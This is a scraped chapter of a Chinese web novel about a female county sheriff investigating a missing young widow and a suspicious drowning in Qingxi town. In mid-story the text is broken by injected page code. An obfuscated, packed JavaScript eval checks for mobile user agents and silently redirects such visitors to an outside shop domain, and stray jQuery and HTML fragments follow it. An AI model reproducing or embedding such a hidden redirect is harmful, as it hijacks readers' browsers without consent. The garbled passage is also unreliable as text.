文趣网 > 其他小说 > 典史她不干了 > 2. 青溪失踪案(一)
    这句话刚说出口,商恳又觉得有些羞赧尴尬。

    官娘子怎会不知衙门在哪?

    见他暗自懊恼,李惊玄失笑,恰好他们一行人也要返程,便一并带他过去。

    几番交谈下来,众人才知此人原是要去衙门就职。

    商恳幼年丧父,不久前老母又撒手人寰,只得带着尚年幼的小妹前来桐邱投奔亲友。说是亲友,实则只是隔了几代的远亲,情分谈不上多厚。

    唯恐自己一个粗人照顾不周,不通女子事宜,这才打算将小妹安置在姨表姑家,好为她将来做打算。

    从西山县到桐邱县,这一路商恳经历颇多,沿途又屡遇盗匪。所幸他一身武艺护身,两人未曾负伤,只是随身盘缠已所剩不多。

    眼下既有远亲出面作保,自身武艺体格又符合衙役遴选标准,更因亲历不平事后心怀愤懑,便打定主意前往衙门谋一份差事。

    瞧着前方那背影身姿如松,商恳仍是有些难以将茶楼里听到的事迹与她对上。

    初次照面,这位典史性情温和,又慷慨解他人之困,想来那些流言多半是添油加醋后的,作不得真。

    到了县衙,却见一老妇站在衙门口踱步,显然等候已久,见到他们一行人回来,眼里的泪便是簌地落了下来。

    守门的皂隶本就有些不耐,再看到这老妇模样仿佛受了天大的委屈,赶忙与自己撇开干系,“李典史你可算回来了,这妇人执拗得很,说什么也要见到您才行。”

    老妇年纪看着已有五十,衣敝履穿,住在乡下从未了解过典史身份,乍一听是位娘子,心头有些讶异,可更多的担忧将其盖过。

    她连走了一天的山路,才终于来到县内,此刻终于见到要等的人,情绪猛然起伏,一时急切竟要快昏厥过去。

    李惊玄一个快步上前稳住她的身形,才叫人不直接倒在地上。

    众人连忙将其扶进西院,喂了几口温水。

    待老妇气息稍稍平复,李惊玄缓声开口:“老人家,寻我可是有何冤屈要诉?”

    姜大娘喉间一哽,急忙道出原委:“老身是从青溪镇赶来的。前几日我进山拾柴,晚了些许归家,谁知一进门发现屋内空荡,儿媳竟是不见了......”

    “邻里乡里都寻了个遍,都没有任何踪迹。她性子单纯,定不会无故离家,求官娘子发发善心,替老身查一查,找找我儿媳!”

    一旁的文吏将情况一一记下,唯独几个老皂隶眼观鼻、鼻观心。

    这类案件他们最是不愿搭理,乡下人琐碎叨唠不说,更没什么赚头,远不如替乡绅豪士通个方便来的好处多。

    想必典史定会和以往一样打发这农妇,将就敷衍结案。

    哪知眼前的青衣官沉吟片刻,竟是沉声开口:“放心,我定会将人给你找到。”

    姜大娘闻言又是落泪不止,连声道谢。

    李惊玄自从醒来后,就没再把这当做游戏。这两周里她也凭着记忆熟悉了典史差事,甚至还选出几个能力突出的皂隶。

    所幸也没遇到什么新案子,这倒是让她松了口气,生怕又造成了什么错案。

    但此刻真有人盼着自己能解决案子,她也做不到昧着心说不在意。心中多了几分清醒,她是没什么要怕的。

    既然进到这个游戏里,事已至此也别无选择,只好扮演“典史”这个身份,若能有所作为,也算是对之前犯下错的弥补。

    李惊玄目光微凝,扫过一众皂隶。有人避开她的视线;有人心不在焉仍与旁人闲话;有人犯困靠着槛框。

    哪怕是她先前挑出的几人,也没有想要主动接此案的意思。

    唯独一人,目光如炬。

    正是已换好皂隶装扮的商恳。

    他眼里透着难以掩饰的跃跃欲试,显然是刚上任没经历过磨炼,满腔热血正值新鲜劲没过。

    李惊玄一笑,抬手指了下他:“此案便由你同我一道。”

    年轻的小隶微微一愣,随即应道:“是!”

    随后她又安排了几人晚一日出发,避免因人数过多而暴露行踪。

    青溪镇虽是偏僻,却也因着元日将至,万象更新。

    李惊玄跟着姜大娘往她家中前去,似是无意问道:“事发之后,你儿子可有什么举动?”

    姜大娘步伐一顿,声音带着几分苦涩,“我儿......前些日子落水,早已不在了。”

    闻言,李惊玄与商恳对视一眼,察觉到些许不对劲。

    “这又是怎么一回事?其中缘由可否细说?”商恳问道。

    “我儿身强力壮,水性更是极好,寻常江河湖水根本淹不到他。早前有位掌柜看中他的力气,雇他帮忙搬运货物,谁曾想,偏偏就出了落水的意外......”说起伤心事,姜大娘又抹了把泪。

    可随后她语气一转,面色愤然,“可他的尸首,还是过路的船夫打捞上来的!那雇人的掌柜翻脸不认人,死活不肯认下此事!”

    李惊玄微皱眉,“打捞上的尸体可有搜检过?”

    “有是有,但里正带来的仵作说身上无外伤,是溺水而亡,便让早些埋了去。”

    李惊玄面上不显,她可记得,这几日并没有哪个仵作接触过溺水尸检。

    这个里正……有问题。

    姜大娘指了下不远处的青溪河,“当时便是在那个位置将他捞起。”

    青溪镇便是因这河得名,岸边仍是有些商贩买卖,唯独中间留了个空地,显然对死人的事有些忌讳。

    李惊玄思索片刻,便让商恳跟着姜大娘去家中查看,自己去另一边搜寻。

    两起事件相隔不久,又有里正牵扯,想必是有内情。

    她且走且思,不觉竟走入了一家茶肆。

    茶肆里茗香四溢,一桌一桌闲极无聊的茶客正在律津有味地议论着最近的惊人新闻。

    不管是在哪,这种地方的生意都不会太差,同样的,消息都灵通。

    李惊玄选了个位,便有伙计殷勤上来侍应,不一刻便端上了一盅新沏的茶。

    茶客们片言碎语偶尔可听着几句,都不真切。

    “我看那周申倒也凄惨,死后没多久娘子便不见了,留个老母孤身一人,哎......”

    “是吗?我倒是觉得他那娘子不想一人寂寞罢了,是跟人跑了。”

    “这种话都敢非议?不怕周申半夜找你?”

    “我可不是瞎说,你难道不曾见他那娘子貌若天仙,堪比城府里的小姐,就算她不愿,也定有人打她主意......”

    ......

    李惊玄垂眸,看来这周申便是姜大娘的儿子。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861896|212038||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    她没待多久,便起身准备从正门离开,却见外头站着四个一式黑衣黑裤、紧身装束仆役,见她准备出门,有些蠢蠢欲动。

    李惊玄续而问店小二后门方向,换个出口离开。

    她出现在这青溪镇还不到半日,竟已有人盯上她,她何德何能惊动这里的士官百姓?

    可没料想到,刚出后门,又有两名仆役上前,姿态恭敬道:“官四娘留步,我家主人请您走一趟。”

    李惊玄只得暂且隐忍,由他们带路进了一精致宅院的偏门,路过一马廊时,她略微皱眉,随后直跟至正堂外停步。

    迎面走来一名中年男子,头戴毡帽,身着一袭干净的蓝布直裰。他抬手轻抚长髭,脸上堆着圆滑的笑意:“李典史亲临青溪镇,不知是何等公务要事?在下定当全力奔走,为大人分忧分担。”

    见李惊玄未曾应声,他像是才反应过来:“哎呀,是在下糊涂了,未曾先行自报家门。小人是青溪镇里正张衡。贵人或许记不清,前几月小人赴县衙交割文书,曾有幸远远见过大人一面。”

    “那可真是巧了。”

    李惊玄同样脸上挂笑,仿佛全然不记得此前对方强行派人的冒犯举动,“本官此番前来,确实有一桩事,需劳烦里正相助。”

    里正闻言眼中一亮,连忙拱手笑道:“大人但说无妨,在下洗耳恭听。”

    “我听闻前日青溪镇出了一桩溺亡命案,县衙仵作前来勘验,偏偏遗失了验尸文卷,着实令本官棘手。不知里正还记得,当日前来查验尸首的是哪一位仵作?”李惊玄似笑非笑道。

    里正心头一紧。

    那仵作本就是他手下的人冒充,哪会有什么文卷?

    这官四娘性子怎和陈日元那厮说的不同,如此口齿伶俐怎会是草包!

    本意想探出她为何前来,早知如此,他便不走来一遭了,张里正心中悔恨。

    他飞快定住心神,面上不露破绽,故作回想的模样:

    “哎呀,大人这一问倒是将我难住了。那日事发仓促,人来人往乱糟糟的。我只晓得有位仵作过来勘验,却不曾细问名号。此人办完事情便匆匆离开了青溪镇,走得极快,在下尚且来不及打听底细。”

    “哦?连姓名都不曾问么?”

    张里正连忙摆手,继续圆话:“正是。当日只顾着安顿后事、维持场面,哪里想得到后续会生出文卷遗失这般岔子。早知如此,说什么也要将人拦下问个清楚。倘若后续我打探到半点消息,必定第一时间派人禀报典史大人。”

    张里正不敢在仵作一事上继续纠缠,生怕多说多错,连忙顺势转开话题,“说起来典史乃是初次莅临青溪镇,在下早已备下薄宴,今晚还望典史赏光。”

    李惊玄心头有些顾虑,却神色如常,从容应下,“既然里正一番盛情,本官便却之不恭了。”

    几个仆役恭敬将她送回客栈,碰巧路上又遇到寻她的商恳,他们便先行告退。

    目光落在商恳手中的布包上,李惊玄开口问:“可是查到什么线索了?”

    商恳肯首,随即解开包裹。一对银镯躺在其中,旁侧叠着一套面料精致的衣裙。

    他解释道:“据姜大娘所言,皆是她儿子生前买来,赠予儿媳的东西。”

    可寻常农户,如何能够置办得起这些?